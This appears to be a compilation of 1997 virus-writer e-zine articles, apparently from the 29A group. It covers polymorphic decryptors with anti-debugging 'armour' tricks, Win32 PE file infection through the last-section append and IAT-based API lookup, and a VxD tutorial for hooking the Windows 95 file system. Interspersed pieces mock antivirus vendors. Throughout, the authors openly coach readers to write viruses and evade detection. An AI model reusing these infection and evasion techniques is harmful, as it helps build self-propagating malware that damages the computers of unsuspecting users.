ÚÄÄÄÄÄÄÄÄÄÄ Host ESCÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ EM ³ Entry ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ Delta getter ³ ³ ³ ³ ³ ÚÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´<Ä¿ ³ ³ ³ ³ ³ ³ ³ ³ virus body ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ (poly engine) ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄijÄ- Ä¿ ³ ³ ³ ³ ³ ³ ³ unscrambling routine ³ ³ ³

ÀÄ>ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ARMOUR ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ decryptor ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄ-

ÃÄSUB All this part here must be ³ generated by the polymorphic ³ engine. ³ Ä-

So, the host calls the virus which calls the polymorphic decryptor. First it encounters the ARMOUR routine, then it goes into the decryptor loop which uses the Unscrambling Routine. After that the control is passed back to the virus. But, as we know how to create a polymorphic decryptor, creating a polymorphic unscrambling routine is a piece of cake now. All you must have in mind is to generate something able to make the inverse of the math operation you performed. For the beginners I suggest instead of a CALL to an unscrambling routine to use a simple XOR creg, kreg and then go further with more complicated routines.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Armouring your routines ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄOk, so you made a decryptor, completely polymorphic, not one byte there is the same in different generations and still some AV's report that this could be a virus... With the kind of decryptor I gave above, like MOF is, generating almost 2000 bytes decryptors the possibility is very small. And still we should use some techniques. Your decryptor should have in the beginning what I mentioned in the scheme: The ARMOUR. I will not get too deep into this, first because I didn't studied it enough and second of all because there are many articles out there about this. From the beginning I will say that in these days you *should* work in 386 instructions (maybe even 486). This will mess up many AV's and in extra, imagine the possibilities: you have eight 8 bit regs, eight 16 bit regs and eight 32 bit registers, plus some new segment registers ! New polymorphic ways ! Second of all, armour your calls to the decryptor. This could be done easily by removing a CALL decryptor instruction with something not so obvious, like this: mov int dec jns jmp

ax, 0b00h 21h al not_good decryptor

; ; ; ; ;

get keyboard status this returns al with FFh or 0h if we decrement al we'll have a signed number which will lead us to our decryptor.

not_good: Again, don't let the decryptor finish the code. This is followed by many AV's. If you can't make a poly engine, at least put some junk after your last RET. Anyway, in the polymorphic ARMOUR routine (which mustn't be too obvious) you should do some of these: a) Overflow the stack, like: * mov ax, sp mov sp, 0 pop bx

mov sp, ax or simply mess with it, like: * Not SP Not SP or * Neg SP Neg SP b) Use the Prefetching Queue. Very good technique: Example 1: mov cs:[patch], 04CB4H patch: Jmp over Int 21h over: ...

; this will turn into Mov ah, 4ch

Example 2: mov cs:[patch], 0F7EBh patch: Nop Nop ... mov cs:[patch], 0000h

; this will become JMP $-7 and will be ; an infinite jump

You have to understand: normaly, the instruction at the `patch' address will be executed by the processor as a result of the Prefetching Queue. But if debugged or traced, the code will change. In the first example a 'Terminate' will occure, in the second example an infinite jump will appear. The good thing is that you can put a ';' before the mov cs:... instruction in order to easily debug your programs. c) Make very long loops doing a very simple operation (like copying code from a source that's the same with it's destination), and make these loops long: mov ds, ax mov es, ax mov di, si mov cx, 0FEFEh loop1: movsb loop loop1 d) Make calls to Interupts that do nothing, or make calls to interupts that return known values. e) Try to modify the address of INT 01, or INT 03. Then check the int table and see if they changed. If not -> go into an infinite loop, someone is tracing your code. f) Hook some interrupts (like 15 or 19) and in the handler block the keyboard (for example by copying the vector for INT 1ch into the INY 09h place) g) Check the PSP:0000 and if it's not CD20h or if the PSP is it's own parent, hook the computer. h) Get known values, like CDh at PSP:0000 and use it by adding or substracting in order to obtain what you want.

j) A very good techinque is the 'wrap around 0' technique. In order to use this you must know that when a register is increased above 0FFFFh it goes around 0 like this: 0FFFEh + 3h = 1h Let's take two numbers. One is called 'base number' (B) and the other 'increment' (I) with the propriety: K = B + I, B + I > 0FFFFh For example, we consider that K is the pointer to our code to decrypt. An usual way to get a byte from that position would be like this: mov di, K ... mov ax, word ptr cs:[di] But with the numbers B and I we can change our code to this: mov di, B ... mov ax, word ptr cs:[di + I] B + I will wrap around 0 and will give the original K. This makes things very bad for the heuristic analysers who search for the places the usual pointer registers hold. Note that numbers wrap around 0 also when they are decreased: 0h - 1h = 0FFFFh So you can also use at your choice something like [di - I] Of course, the B and I numbers will always be choosed randomly. k) Beware when using not very used instruction that may flag some AV's. Like for example AAA, AAS, DAS and so on. Just don't include these in your junk instruction table. Ok, I'll stop here, because we are not going to make this article an anti-debugging one. Armour your poly-decryptor how you can and let the real code do the real tricks.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Advanced polymorphism ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄOK, now after we have `mastered' the basics of polymorphism, if I can say so, let's take a look at ways to render the basic poly engine to what should be the perfect engine. In order to obtain this, we must add to the requirements of a perfect poly engine one more thing: * the decryptor should be able to place itself wherever into the code. Look a little at how I see the process of 'new code procreation': This is how our virus resides in memory: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ÚÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄ¿ ³

³ ³ Virus ³ ³ Empty ³ ³ ³ ³ body ³ ³ space ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ in ³ ³ in ³ ³ ³ ³ memory ³ ³ memory ³ ³ ³ ÀÄÄÄÄÄÄÄÄÃÄÄÄÄÄÄÄÄ´ ³ ÄÄ¿ ³ ³ free ³ ³ ³__ This extra space is needed for the ³ ³ space ³ ³ ³ decryptor ³ ÀÄÄÄÄÄÄÄÄ- ³ ÄÄÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThe poly engine will make a copy of the Virus body over the empty space: ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿ ³ Copy of ³ ³#########³ ³#########³ Ä Part 1 ³ virus ³ Step 1 ³#########³ Step 2 ÃÄÄÄÄÄÄÄÄÄ´ ³ body ³ ÄÄÄÄÄÄÄÄÄÄÄ> ³#########³ ÄÄÄÄÄÄÄÄÄÄÄ> ³ free ³ ³ ³ ³#########³ ³ space ³ ³ ³ ³#########³ ÃÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄ´ ³#########³ ³ free ³ ³ free ³ ³#########³ Ä Part 2 ³ space ³ ³ space ³ ³#########³ ÀÄÄÄÄÄÄÄÄÄÀÄÄÄÄÄÄÄÄÄÀÄÄÄÄÄÄÄÄÄWhere '#' represents the code already encrypted using a given method. In step 2, we move the free space somewhere random into the encrypted code. Actually, we break the encrypted code in two parts: the upper part and the lower part. So, we will have some suplimentar values that we should consider: Start1 = start of first part of code End1 = end of first part of code End2 = end of second part of code We don't need more: the free space start is at End1+1 and the second part start is at End1+FreeSpace+1. After this in the free space the engine will create the decryptor. It must be able to decrypt both parts (at your choice you can encrypt them using different methods) and then give control to a place well known (usualy at the beginning of code). Here we must get rid of the decryptor ! So, after the 'Going Resident part' acted, the memory will look like this: ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿ ³+++++++++³ ³+++++++++³ ÃÄÄÄÄÄÄÄÄÄ´ ³+++++++++³ ³ DecrypÄ ³ ³+++++++++³ ³ tor ³ ÄÄÄÄÄÄÄÄÄ> ³+++++++++³ ÃÄÄÄÄÄÄÄÄÄ´ ÀÄÄÄÄÄÄÄÄij+++++++++³ ³+++++++++³ ³+++++++++³ ÀÄÄÄÄÄÄÄÄÄ-

'+' represents de decrypted code. We got rid of the decryptor by moving upwards the entire Part 2 and make it overwrite the Decryptor.

So, the decryptor worked ! It unscrambled the code, and gave it the control. The code went resident and rejoined his two parts becoming exactly like the original code existed. The main advantage of this thing is that the Call to the decryptor is variable. It is now almost impossible for the heuristic cleaners to locate the place of the virus and remove it, by searching for the original header after emulating the decryptor, especialy if you use some armouring techniques along with that. Here are some other ideas you may use to increase the polymorphism

level of your engine: * play with the direction (encryption/decryption to go upwards or downwards) * play with the word/byte level encryption type * after the polymorphic decryptor worked make it give control to another decryptor (this time a really sofisticated one. For more on that check out the `Decryptors' article which I will release soon which will include CoProcessor related decryptors)

ÚÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Closing ³ ÀÄÄÄÄÄÄÄÄÄÄÄSince the early days of programming, when I was trying to create self-checking executables or to include in games' executables lines like: 'This game comes from me!', I was intrigued by the internal looks of the code. I knew that you can do this kind of things only by looking at the bit level of the instructions. When I heard about viruses I was curious too. When I heard about the polymorphic routines and after I studied a couple of them I became really interested about this. I don't know if this document helps you in any way, but I would appreciate any feed-back and any ideas in this direction. Thanx. Many thanx go to: The Black Baron, Dark Avenger, Rock Steady, Dark Angel, Qark, Quantum, Hellraiser, Executioner

ÚÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ³ Lord Julus - 1997 º ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

Strategic Alliances? Bring 'em on, we love 'em! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Rajaat / 29A "Data Fellows Forges Strategic Alliance with Top Anti-Virus Development Company" Maybe you have read these headlines on the site of DataFellows, the home of F-Prot Professional and F-Secure Antivirus and other products (for the curious amongst you with a browser and internet access, take a look at http:/ /www.datafellows.com). I was really glad to hear this, since I think this Strategic Alliance can bring forth a very good Antivirus product. Both DataFellows and the AVP team have good programmers, and one of the greatest virus researchers known in the Antivirus scene. As an end user, this would be news from heaven. I started to read on the article, as it was intrigueing...

"Helsinki, Finland/San Jose, Calif. October 1, 1997--Data Fellows, the European developer of F-PROT Professional, has formed an exclusive, strategic alliance with another superior anti-virus technology team: the AVP development team led by Eugene Kaspersky. Together these companies combine the best minds in the anti-virus world and are the foundation of the new revolutionary F-Secure Anti-Virus CounterSign Technology from Data Fellows. This new CounterSign Technology allows F-Secure Anti-Virus to be the first line of anti-virus software to combine multiple virus scanning engines into a single framework by using both the F-PROT and AVP anti-virus engines simultaneously."

So they want to combine their engines... That's a great idea! This will be much more tougher to defeat. There is no doubt we would like to challenge that product, and try to circumvent it's "excellent" double engine using scanning technique. Don't forget scanning with 2 engines will also take about double of the time it would otherwise do. That would make F-Secure Antivirus with CounterSign(tm) technology about twice as slow compared to respective other antivirus products worth their money. Anyway...

"Because the number of viruses in the world is growing at such an alarming rate, it is nearly impossible for any single anti-virus product to detect and protect against this threat," said Risto Siilasmaa, CEO and Managing Director of Data Fellows, LTD. "With our new CounterSign technology and this combination of two superior anti-virus engines such as F-PROT and AVP, the detection rates of the two engines approaches 100% and the likelihood a virus would go undetected is less than ever before."

I like the above paragraph a lot. I do acknowledge the fact that it is indeed nearly impossible for any single antivirus product to detect and protect against the new wave of viruses. So they combine their CounterSign(tm) technology and "the two superior antivirus engines F-Prot and AVP", and what do we get??? Again a single antivirus product! That's right guys. 1 + 1 = 1 in this case ;-) Stopped laughing yet? Ok...

To be to the point, these antivirus engines combined can result in a really difficult to beat antivirus product, but there is also a positive side for us, virus authors. This "Strategic Alliance" also means that in the future we do have to concentrate on one product less! Yes, they are right in respect that it is harder to beat this combined product, but it will certainly take less time than testing your virus on 2 completely different products, let alone the fact that it costs you a lot more time to write retro structures against 2 antivirus products instead of one. Afterthought: Should we also take action and form "Strategic Alliances" other groups? We probably would not benefit from a "single virus engine"..., but maybe some kind of function library for easy and clean virus writing... An API? Food for thought and another article I guess :-) People that want to read the complete story go to: (*) http://www.datafellows.com/news/pr/f-secure/st-alnc.htm

Rajaat / 29A

Stupid descriptions ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Rajaat / 29A Ok, guys. It goes like this... ;-) Try to find some description of one of your viruses on the Internet that is such an error that it is plainly visible even to people that don't understand as much about viruses as the average 29A magazine reader is doing. Append it at the end of the text file and send it around the rest of the people... If it's hilarious enough we can also include people from outside 29A, but I think this is really a joke ;-) I hope you guys are in for it. Here are two sad examples of how great the virus analysts for Symantec are... - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 < Rajaat > April Fools? (*) http://www.symantec.com/avcenter/data/rajaat.518_(1).html VirusName:Rajaat.518 (1) Aliases:none Infection Length:N/A Likelihood:rare Regions Reported:N/A Target Platform: Description: The Rajaat.518 (1) virus is smaller than average. It is 0 bytes in length. It only infects .COM files. This virus can be caught through e-mail, BBSes, or the Internet. This virus is memory-resident. After the virus has been launched, it infects other programs as they are accessed. This virus actively hides itself while it is resident in memory. This virus has never been encountered by our customers. This virus does not have any known payload (that is, it does nothing other than replicate). It does not employ encryption. It is called a multipartite virus. Multipartite viruses can infect boot records as well as files. Because of the nature of the Rajaat.518 (1) virus, Norton AntiVirus is unable to repair infected files. To remove the virus, delete and reinstall all infected files. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 < Rajaat > And this is what Symantec has to say about my TSR Companion virus (companion viruses do create COM files and don't touch the EXE files themselves). (*) http://www.symantec.com/avcenter/data/rajaat.287.html VirusName:Rajaat.287 Aliases:none Infection Length:287 Likelihood:rare Regions Reported:N/A Target Platform:COM files Description: The Rajaat.287 virus attaches 287 bytes to host files. This virus only infects .COM files. It is a "direct action" virus. The Rajaat.287 virus virus does not employ any "stealthing" mechanisms. This virus has never been encountered by our customers. This virus does not have any known payload (that is, it does nothing other than replicate). This virus propagates

identical copies of itself. It infections cannot be repaired. Delete all infected programs and replace them with clean copies. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Greetings, Rajaat / 29A

ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÚÄ PE infection under Win32 Ä¿ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ³ by ³ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ³ Mister Sandman ³ ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ³ Jacky Qwerty ³ ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ÀÄÄÄÄÄÄÄÄÄÄÄ GriYo ÄÄÄÄÄÄÄÄÄÄÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÄÄ´ Introduction ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Same as we establish different ages in the evolution of computers we should establish different ages also in the evolution of computer viruses, as they advance together with the systems, platforms, and processors they intend to infect. There were not, of course, any viruses for those huge wardrobe-like computers with whom you couldn't do much more than what you can do nowadays with a supertiny pocket calculator. But since viral activity started around 1985, lots and lots of people have been crashing their balls at their chair trying to evolve and advance in viral technology. However, save for some exceptions, we have been fighting for over ten years against the same operating system, the same 16-bit crap, designed and never improved by Microsoft. That's why such a long period of time should be considered an only step, the first period of the viral existence in computers. Now this first viral age seems to have reached its end, as well as DOS, albeit it will continue working in millions of computers, all over the world. In the other hand we have Windows95 and WindowsNT (from now onwards and together with Win32s we'll call them Win32), which are being used and installed in an incredibly increasing percentage of computers. We can't say Win32 will be the future and definitive OS, but it does seem it is one of the 1st storeys the final thing is gonna be built on. This new phase of operating systems also means a new phase of viruses which will work and infect under these new scenarios. Win32 has become the most used OS in less than two years, and will surely wipe out of the map many other minoritary operating systems, such as OS/2. Virus authors have realised about this fact, and that's why a new era opens at us... the second viral age or generation, a new breed of infectors... 32-bit viruses. If you're one of those who have always dreamed about how cool would it have been to start writing viruses around 1985, when they first appeared, but it was too late for your dreams to become reality, now you have a second oportunity to become a pioneer in the VX scene. And if you're just one of those dorks whose only wish is to remain being nobody as one of who knows how many thousands of DOS virus writers and can't go further than the (true) statement "Windows95 = shit"... stop reading and go code with your open mentality to YAM, cause this won't be of your interest. Before going further in this tutorial, it must remain clear for our readers that we DO support the statement "Windows95 = shit", but proffesionality is usually a synonym of objectivity, and that's why we have to focus it with impartiallity. I think no intelligent human being in this world likes Windows95, but it's an interesting attitude to see it just as a test 32-bit OS in order to advance in the viral-oriented researching, without bearing in mind how good or bad it is, or how many bugs it has. Just say "let's go for it!".

ÄÄ´ Welcome to the new school ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This tutorial is *almost* 100% theoretical, as it intends to illustrate the so called "29A technique", which will help you in order to write compatible

viruses for Windows95 and WindowsNT and to make them much more versatile in the concerning about PE modifications. At the moment of writing this, there were _only_ four Win32 infectors (Win32.Jacky, Win32.Cabanas, Esperanto and Win32.Marburg - order of appearance), and they all have been written by 29A members, which shows the lack of Win32 virus coders by now. The contents of this article are pretty advanced and oriented to those who have already coded at least some Windows95 PE infector. If your intentions are to get started in the 32-bit virus age and begin coding some basic PE infectors, we recommend you to have a look to other previously published sources in other virus magazines; then, come back to this article and get some pretty useful clues about how to stay compatible :) This tutorial will deal with "APIs: the key stone", chapter in which we try to explain the importance of working at API level, "The KERNEL32 problem", and "The GetModuleHandle solution", which explain one of the main problems in the concerning about getting the base address of KERNEL32.dll, "GetProcAddress", showing the best way to get API addresses, "Simple PE infection", which illustrates a simpler way to infect PE files, and "Cool addings", as a preface to another article in 29A#3, which describes some features, which can be added to any Win32 virus in order to make it more complex. Before stepping into the first chapter it's a honor to say that the pioneer of these techniques, the guy who wrote the first Win32 infectors, and thus, the one who should be known for having developed the first 32-bit viruses is Jacky Qwerty/29A, the author of Win32.Jacky, and Win32.Cabanas. It would be completely unfair not to mention -and even congratulate- him.

ÄÄ´ APIs: the key stone ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The most important thing you'll have to bear in mind while writing your 32bit viruses for Windows platforms is to always! use APIs. Why are APIs that important? the answer is easy... they are the only point Windows95 and WindowsNT have in common. Viruses have to look as closer as possible as normal applications, and there are no normal applications in Win32 which don't use APIs in order to perform its functioning. Using apparently neat tricks such as calling interrupt 21h within a Win32 application is the worst thing your Win32 virus can do, as it won't be able to stay compatible and besides will be 100% dependent of the presence of DOS. While nowadays this last reason does not represent any serious trouble, it will for sure be a pain in the near future as DOS is about to be wiped out of our computers as soon as new versions of Windows95 or WindowsNT are released.

ÄÄ´ The KERNEL32 problem ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Once we have assumed we're gonna work at API level, the very first necessary thing is to locate KERNEL32.dll, as it is the library which contains the address of all the API functions we need to use in our virus. But, there is a big problem here... the address of KERNEL32 is not fix at all. It has not been the same in any of the known versions of Windows95 as well as for WindowsNT... and this means we can't (or at least should not) assume hardcoded values because they'd force our virus to be compatible with only one of the Win32 platforms, and what we're looking for is just the opposite thing.

ÄÄ´ The GetModuleHandle solution ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The solution is always in APIs. There's an API, "GetModuleHandle", which is used in order to get the address of a given module. And, of course, this is of our interest since KERNEL32.dll is a module. But now comes a pretty curious thing... how the fuck is it possible to call an API function if we're

looking for KERNEL32 just because we need it to be able to call APIs? Quite similar to the question "what was first, the egg or the hen?". It is simple. Just don't infect PE files which don't import any function of KERNEL32.dll (almost impossible tho), so you will make sure, every file you infect imports something from KERNEL32.dll, so it will be possible for you to look in the IAT for the RVA of the GetModuleHandle API, and then call it from your code. Once having called this API by means of its RVA you'll have the address of KERNEL32.dll waiting for you in EAX ;)

ÄÄ´ GetProcAddress ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Now it's ok, you already have the address of KERNEL32.dll, but... where are the address of the APIs you need? how will you call them? the answer is easy again... by means of another API, "GetProcAddress", which makes possible to get the address of any API function in any given module. Now that you have already guessed the base address of KERNEL32.dll, all you need to do is to specify the name of the API you're looking for in that module and call the GetProcAddress API. A table of API names and a good loop are strongly recommended in order to save a good amount of bytes ;) It's understood that, same as for GetModuleHandle, you need to get the RVA of GetProcAddress in the IAT of your victims, while infecting them, because there's no way to know it at the time you need to call it :) Obviously, both the GetModuleHandle, and the GetProcAddress solutions might not work under certain strange circumstances. For the case of this happens, you should have some extra routines which, by means of undocumented tricks, could get the address of both APIs. Two good examples of this are included in the source code of the Win32 viruses published in this issue of 29A.

ÄÄ´ Simple PE infection ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This very last point of the so called "29A technique" deals with file handling in Win32 (API-based, of course) and the PE infection itself. There are two very important things on this: file mapping in memory and attachment to the last section declared in the PE header. File mapping in memory is a new way of handling files Win32 platforms provide in order to make things much easier. Now you don't need to read, write or lseek anymore. Just map any file in memory and you'll get a base address where it has been mapped. From that base address, just reference any offset and read from it, write into it, and do whatever you want, with no need to lseek to any position... it's mapped in your memory :) And the second and last point is extremely important. Before Jacky Qwerty came up with this technique, all the Win95 viruses infected PE files by modifying the PE header and inserting a new section into it, then copying the viral body into that last section. This was very easy to detect, apart from being a very tedious method and taking a lot of bytes in your code. The solution we provide to this in our 29A technique is to update the size of the last section of the PE file in the PE header, including the size of our virus, and then appending our code to the end of this section. Harder to detect, easier to write ;)

ÄÄ´ Cool addings ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There are a lots of things which have

not been mentioned in this tutotial,

albeit they are being already used and enjoyed, such as the implementation of Structure Exception Handling (SEH), 32-bit polymorphism, and many other cool techniques which make our Win32 viruses much more stable and robust. These and other topics will be referenced in our next issue, where a lot of code examples will be available to make possible to check these new tricks. Till then, put the 29A technique in practice, and do not forget to make use of the tools we provide to you in this issue of 29A (PEWRSEC, GETPROC, and the 29A INC files, which are extremely useful to code your Win32 viruses).

Mister Sandman, bring me a dream.

Virus oriented VxD writing tutorial ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> GriYo/29A This tutorial represents just a minimum introduction to VxD programming. To dominate the subject it deals with you need something more than this tutorial. Nevertheless, I've tried to explain everything very clearly, so noone stays on land ;)

What is a VxD? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, let's go with what we're interested on. A VxD is a 32-bit code chunk which executes in protected mode with RING-0 priviledge level. This is because they have to deal with system's resources, such as hardware devices and installed software. I hope after reaching this point there is no doubt about our intentions, right? it's about writing a VxD to control installed software (of course!). To achieve this, we'll pinch the system where we can cause more harm, the file system.

How to start ÄÄÄÄÄÄÄÄÄÄÄÄ Before getting on to work we must get some tools. This software is available in the Microsoft Developer Network and a couple places more. You will need to get your hands on them if you're interesting on writing VxDs.

- Microsoft Macro Assembler (i used 6.11c). - Linear-Executable Linker (i used 1.00.058). - Microsoft SDK's ADDHDR.EXE and MAPSYM32.EXE.

Since the first viruses for Windows95 written as VxD sources started to go around, I've found many people who look for the includes needed to compile these sources. You will need the following files from the SDK:

- VMM.INC -

: in this file you can find the macros and the defines of the Virtual Machine Manager services. DEBUG.INC : only if you need to debug. SHELL.INC : this file declares the services which provide access to many Windows functions, such as MessageBox. IFS.INC and IFSMGR.INC: they're only necessary if we want to fuck around with the Windows95 file system.

The include files appear in the source trices.

between the .xlist and .list direc-

Writing a VxD ÄÄÄÄÄÄÄÄÄÄÄÄÄ Writing a VxD is something extremely easy if we use a generic source on which we will add our code. Let's divide the work into several stages, this way we may install and test the virus once we've completed each stage. First start with a generic VxD which contains the segment, VxD and control process declares. Later add the initialization procedure in real mode which is, as we will see, the well-known residency check. Now write the VxD initialization and file-hooking processes. And finally write the remaining VxD procedures.

VxD segments ÄÄÄÄÄÄÄÄÄÄÄÄ Inside the VxD we can find five different types of segments, each of them with its own characteristics. So as to declare these segments we can use the following macros:

- VxD_CODE_SEG and VxD_CODE_ENDS: also called _LTEXT, this is the protected mode code segment. The declare of this segment is compulsory. - VxD_DATA_SEG and VxD_DATA_ENDS: also called _LDATA, they declare the data segment for global use in the VxD. It's also needed to declare it. - VxD_ICODE_SEG and VxD_ICODE_ENDS: also called _ITEXT. These two macros define the beginning and the end of the protected mode initialization code segment. This segment is optional and is discarded once completed the initialization (after receiving the Init_Complete message). - VxD_IDATA_SEG and VxD_IDATA_ENDS: also called _IDATA, here we may write all the necessary data for the initialization, which are discarded once the Init_Complete message is received. Its use is optional. - VxD_REAL_INIT_SEG and VxD_REAL_INIT_ENDS: this optional segment, called also _RTEXT, contains the procedure which the Virtual Machine Manager will call before loading the rest of the VxD. It is discarded once the procedure returns.

All these segments, except for _RTEXT (real mode initialization), are protected mode segments over a flat memory model. This means offsets are 32bit and we will have to use the "offset32" macro in all the places in which we used "offset" before. Now CS, DS, ES and SS can't be modified, but instead we can use FS and GS.

VxD declaration ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In order to declare our VxD we'll use the following macro:

Declare_Virtual_Device name, major version, minor version, control procedure, device-ID, init order, V86 API handler, protected mode API handler

Fuck, at first sight it looks a terrible thing, but lemme write an example, which i'm sure will change this first impression. We'll declare a VxD named ViRuS, which will be 1.0 version of our virus.

Declare_Virtual_Device ViRuS,1,0,VxD_Control,Undefined_Device_ID,,,

As you can see I haven't used the last parameters, as we ain't neither interested in providing an API for other programs nor in init order (later?).

VxD-ID ÄÄÄÄÄÄ It is a number which lets us differ an VxD from other. This is necessary if the VxD provides other programs an API or if it provides services to other VxDs. In our case we'll use Undefined_Device_ID as ID.

VxD Control Procedure ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The Virtual Machine Manager sends control messages to the VxD using this procedure. This way it notifies several VxDs about certain events. Followin our last example, our control procedure would look like this:

BeginProc VxD_Control

; Name of control procedure which we ; declared with the VxD

Control_Dispatch Sys_Critical_Init, ViRuS_Critical_Init Control_Dispatch Device_Init, ViRuS_Device_Init EndProc VxD_Control

By doing this we're declaring which procedures will run whenever certain system control messages are received. That is, run the ViRuS_Critical_Init procedure when a Sys_Critical_Init is received, and whenever a Device_Init message is received, run the ViRuS_Device_Init procedure.

System Control Messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ As we have said, the Virtual Machine Manager sends messages to VxDs so as to notify about certain changes in the system. There are many different messages, but, as we are only beginners, we are interested just in a few:

- Sys_Critical_Init: this is the first message our VxD will receive. As interruptions haven't been enabled yet, neither Simulate_Int nor Exec_ Int may be used. Other init services are at our disposal, such as, Get_ Exec_Path, which will provide us with the directory to install our VxD. - Device_Init: second message, which tells us interruptions are available now. It will be there, where we'll hang to the file system. - Init_Complete: third and last message related to system init. On return from the procedure which controls this message, the Virtual Machine Manager will discard the segments which contain code and data for the init (_ITEXT and _IDATA respectively). - System_Exit: this is the first message we will get on system shut down. Although interruptions are enabled, the services Simulate_Int and Exec_ Int mustn't be used. - Sys_Critical_Exit: last shut down message, everything is clear...

